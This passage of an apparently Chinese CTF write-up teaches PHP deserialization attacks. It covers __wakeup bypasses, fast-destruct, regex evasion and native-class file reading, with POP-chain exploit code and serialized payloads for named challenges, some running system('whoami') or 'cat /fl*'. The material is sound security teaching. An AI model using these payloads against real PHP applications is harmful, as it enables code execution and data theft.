
在这里插入图片描述

最后再把PHPSESSID的值设为我们exp中的PHPSESSID的值,正常访问

在这里插入图片描述

拿到flag

其他小知识

__wakeup绕过

__wakeup也是一种魔术方法, 调用**unserialize()时 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 **_wakeup()方法的目的是在反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。在ctf中,会用__wakeup修改变量,阻止pop链的起点触发,如:

<?php
highlight_file(__FILE__);
class Man
{
        public $name;
  function __wakeup()
  {
     echo "wakeup is call";
     $this->name='phpinfo();';
  }
  function __destruct()
  {
     eval($this->name);
  }

}
unserialize($_GET['a']);
?>

这里的__wakeup会把name修改为phpinfo,传入的序列化字符串中即使有其他命令也无法执行,如

在这里插入图片描述

看起来很安全,其实也有绕过的方法

修改变量数

要求版本:PHP5 < 5.6.25、PHP7 < 7.0.10

当序列化字符串中属性值大于属性个数,就会导致反序列化异常,被PHP当作垃圾回收,提前触发__destruct__(也叫fast-desturct),从而跳过__wakeup(),

这里一道经典题为例子:[极客大挑战 2019]PHP

源码:

index.php
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
        
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

可以看到,Name类中,读取flag需要username为admin,但是__wakeup方法会把username变为guest,需要绕过,两个变量是private属性,需要url编码

在这里插入图片描述

F12看到php版本为5.3,修改属性值就行,

在这里插入图片描述

把2改为3

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

在这里插入图片描述

成功

使用引用

这个方法的条件是:1.类中有多个变量 2.在触发点函数中使用或赋值了变量

修改一下上面的demo

highlight_file(__FILE__);
class Man
  {
        public $info;
        public $name;
  function __wakeup()
  {
     echo "wakeup is call";
     $this->name='';
  }

  function __destruct()
  {
     $info='helloworld';
     if ($name)
     {
             echo file_get_contents("flag.php");
     }
  }
unserialize($_GET['a'];

如果要读取flag,name不能为空,可是name在__wakeup方法中就被置为空,可以利用变量引用绕过,变量引用就是使用&符号,如,$a=&$b;a被赋值为b的引用,那么 a , a, a,b,实际指向同一块内存,修改其中一个,另外一个也会随之改变

在exp中,这样写

$a=new Man();
$a->info=&$a->name;
echo serialize($a);

把info设置为name的引用,它们使用同一块内存,在__wakeup中即使name被置为空,但在__destruct中info又被赋予了值,name的值也同样被改为helloworld,就能成功读取flag

所以利用条件为:1.类中有多个变量 2.在触发点函数中使用或赋值了变量

在这里插入图片描述

fast-destruct

利用条件:__destruct__wakeup不在同一个类

demo

<?php
highlight_file(__FILE__);
class A
{
    public $info;
    private $end = "1";

    public function __destruct()
    {
        $this->info->func();
    }
}
class B
{
    public $end;
    public function __wakeup()
    {
        $this->end = "exit();";
        echo '__wakeup';
    }
    public function __call($method, $args)
    {
        eval($this->end);
    }
}
unserialize($_POST['data']);

如果传正常payload,会触发B的__wakeup,导致命令无法执行,可是如果破坏一下序列化数据结构,导致B对象不能被正常还原,出现了异常,php会把这个不正常的数据当做垃圾销毁回收,提前触发__destruct,原本的方法执行顺序改变,B的__wakeup的执行被延后

正常          	   ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";}
减少闭合}      	   ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";
增加;         	   ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";;}
修改表示长度的值      ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:6:"end";s:1:"1";} #3改为了6

最后一个修改表示长度的值影响版本是:7.4.x -7.4.30,8.x,大佬文章:https://github.com/php/php-src/issues/9618

在这里插入图片描述

在本地测试时发现一个小问题,就是如果__wakeup里只有一个die,那么这个die执行了,反序列化还是会完整进行,能够执行命令,不知道是不是我的demo问题,求大佬告知

在这里插入图片描述

throw Exception绕过

如果在反序列化后,主动抛出一个异常,__destuct不会被执行,在上面__wakeup的demo,最后加上 throw new Exception(“No!”);

在这里插入图片描述

如果正常传入,会爆出异常,无法执行

fast-destruct的破坏数据结构的方法可以绕过,结束

非公有属性绕过

对于private,protected等属性,为与public属性区分开,php在序列化private属性时,会在属性名前加上\0(对象类名)\0,protected会在属性名前加上\0*\0,\0是不可见字符,无法直接打印出来,url编码为%00后,方可显示,如:

在这里插入图片描述

对于php版本7.1+,像我本地的7.3.4,反序列化对象的某个属性时,即使这个属性是private或protected,遇到的是公有属性序列化字符串,也会成功反序列化,如:

在这里插入图片描述

如果版本不符,就只能通过url编码传入数据

正则匹配序列化绕过

这一个知识点我还没遇到过(刷题太少,玩星穹太多导致的),借鉴大佬的文章来学习:https://blog.csdn.net/m0_64815693/article/details/127982134,以后做题有遇到再补充

preg_match(‘/^O:\d+/’)

这个就是匹配字符串开头是不是O:,且:后面第一个字符是不是数字,正常序列化对象字符串都是,写exp时,我们可以把对象放入一个数组中再序列化,反序列化会先还原数组,再还原对象,两个过程互不干扰,这样序列化字符串开头就是a:\d,绕过这个正则,如:

$a=new Man();
$b=array($a);
echo serialize($b);
结果
a:1:{i:0;O:3:"Man":3:{s:4:"name";s:5:"hello";s:4:"info";s:5:"wrold";s:3:"age";i:10;}}

在这里插入图片描述

大佬及网上的其他文章都介绍了另一种方法,就是O:后的数字前加上+,如O:+3,但我在本地实验时,这个方法会报错,导致反序列化失败,应该是php版本问题

preg_match('/^[Oa]:\d+/')

如果是这样匹配,转为array没办法绕过,可以尝试转为C,查阅资料得知,C表示的用户自定义类,但我们利用的明明是php的原生类,具体原理可看上面大佬的另一个文章,https://blog.csdn.net/m0_64815693/article/details/130038356

我简单记录一下利用方法,1.首先找所有实现了serialize接口的类,如下:

ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage

选择上面的一个类,生成实例对象,随便赋值一个属性为我们pop链的起点类即可,exp:如下

$a=new A();
$a->info=new B();
$c=new ArrayObject();
$c->a=$a;
echo serialize($c);
// C:11:"ArrayObject":117:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}}}  

这个方法只能绕过正则,wakeup和异常无法绕过

在这里插入图片描述

类名大小写不敏感

php反序列化对类名的大小写不敏感,在我有类A和类B的demo中,传下面的字符串也能成功

O:1:"a":2:{s:4:"info";O:1:"b":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}

16进制绕过关键字检测

在这里插入图片描述

序列化中表示字符串的s,如果为大写,后面跟十六进制数据,在反序列化时也能成功读取

原生类利用

php有一些原生类可以用来扫描目录或读取文件,但php4.3之后,这些原生类被禁止用serialize或unserialize来处理,除非题目能主动生成这个对象,所以感觉用处有限,就先简单记录一下这些原生类的使用,以后遇到相关题型再来补充

从这篇大佬的文章来学习:https://blog.csdn.net/qq_39947980/article/details/136723533

能扫目录的三个类

DirectoryIterator(支持glob://协议),如:DirectoryIterator(glob://*flag*)
FilesystemIterator(继承自1,同上),也可以直接输入路径,如:new FilesystemIterator('./')
GlobIterator(相等于自带glob协议的DirectoryIterator)

存在toString方法,直接echo 只能打印第一个文件,foreach遍历可以打印所有文件

在这里插入图片描述

文件读取类

SplFileObject :存在toString方法,同目录扫描类,直接echo返回第一行内容,遍历才能读取所有内容,或者配合伪协议读取文件

在这里插入图片描述

题目实战

反序列化题目代码都挺长的,只复制关键部分过来

网鼎杯 2020 青龙组AreUSerialz

关键部分,这一题只有一个类,可以利用的关键部分如下:

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

利用file_get_contents获取flag,源码提示就在flag.php因此控制filename为flag.php即可,考点在这里:

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

process和__destruct这两个地方,把op设为数字2即可,php弱类型比较是相等的

is_valid这个函数检查序列化字符串是不是都是有效字符,题目类的属性都是protect,如果直接用url编码输出,%00就是\0,无法通过检查,看看题目php版本

在这里插入图片描述

7.4.3,直接把类的属性都改为public即可,最后payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

在这里插入图片描述

[GDOUCTF 2023]反方向的钟

题目在nssctf平台:https://www.nssctf.cn/problem/3723

题目关键部分:

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}
if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

源码提示flag.php,且在schoo类中的IPO方法中,有帮我们new 对象,那就考虑原生类SplFileObject读取flag,

很简单的pop链,school:__wakeup->classrom:haha ->classrom->name=new teahcher('ing','department') ->school:IPO

exp:

$a=new school();
$a->department=new classroom();
$a->department->name='one class';
$a->department->leader=new teacher('ing','department');
$a->headmaster='ong';
echo base64_encode(serialize($a));

在这里插入图片描述

在这里插入图片描述

[GHCTF 2024 新生赛]ezzz_unserialize

题目在nssctf平台:https://www.nssctf.cn/problem/5162

题目关键部分:

class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        //blueberry=aW8
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }
}

这里需要blueberry两次md5后,以123开头,要跑脚本,大佬脚本如下

import hashlib
import itertools

def brute_force_md5():
    # 使用字母表和数字进行字符的尝试
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
    # 迭代尝试所有可能的字符组合
    for text in itertools.product(charset, repeat=3):
        text = ''.join(text)
        hash1 = hashlib.md5(text.encode()).hexdigest()
        hash2 = hashlib.md5(hash1.encode()).hexdigest()
        # 检查是否满足条件
        if hash2.startswith("123") and hash2[3].isalpha():
            # 输出满足条件的字符串
            print("满足条件的字符串:", text + "(两次MD5加密后为:" + hash2 + ")")
            break

# 运行爆破
brute_force_md5()

构造pop链时,可能有多个类的都有同样符合的触发条件的魔术方法,要选能简单利用的

pop链的终点选为这个类

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}

array_walk就是遍历对象或数组,对其中的元素应用传入的回调方法,然后回调方法中有new 生成对象,所以一样用原生类来做,而且有foreach,扫描目录能获得完整信息

exp:

$a=new Sakura();
$a->apple=new UkyoTachibana();
$a->apple->banana=new BasaraKing();
$a->apple->banana->orange=new Heraclqs() ;
$a->apple->banana->orange->blueberry='aW8';
$a->apple->banana->orange->grape=new E();
#扫描根目录
$a->apple->banana->orange->grape->DirectoryIterator='/';
#读取flag
$a->apple->banana->orange->grape->SplFileObject='php://filter/read=convert.base64-encode/resource=/1_ffffffflllllagggggg';

读取flag时还是习惯性的用了过滤器

在这里插入图片描述

在这里插入图片描述

newstarctf2023 more fast

buu上的,源码关键部分

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

题目也提示more fast,所以这题直接破坏数据结构,fast-destruct就ok

exp:

$a= new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$a->errMsg->obj->func->obj->func='system';
$a->errMsg->obj->func->obj->var='ls /';
echo serialize($a);
#正常
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
#少一个},fast-destruct
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
#通配符绕过正则,读取flag
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:8:"cat /fl*";}}}}}

!在这里插入图片描述

在这里插入图片描述

Web_php_unserialize

来自攻防世界

这一题源码不长:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

flag应该就在fl4g.php,要绕过__wakeup,还有正则,这个正则就是匹配了O,C:后跟一个数字,可以在用O:+4绕过,由于不是匹配开头,无法用数组绕过

看看php版本,能不能修改属性过__wakeup

在这里插入图片描述

版本正确,可以修改,exp如下:

class Demo { 
    private $file = 'fl4g.php';
    
}
$a=new Demo();
$str=str_replace("O:4","O:+4",serialize($a));
$str=str_replace(':1:',':4:',$str);
echo base64_encode($str);

!在这里插入图片描述

成功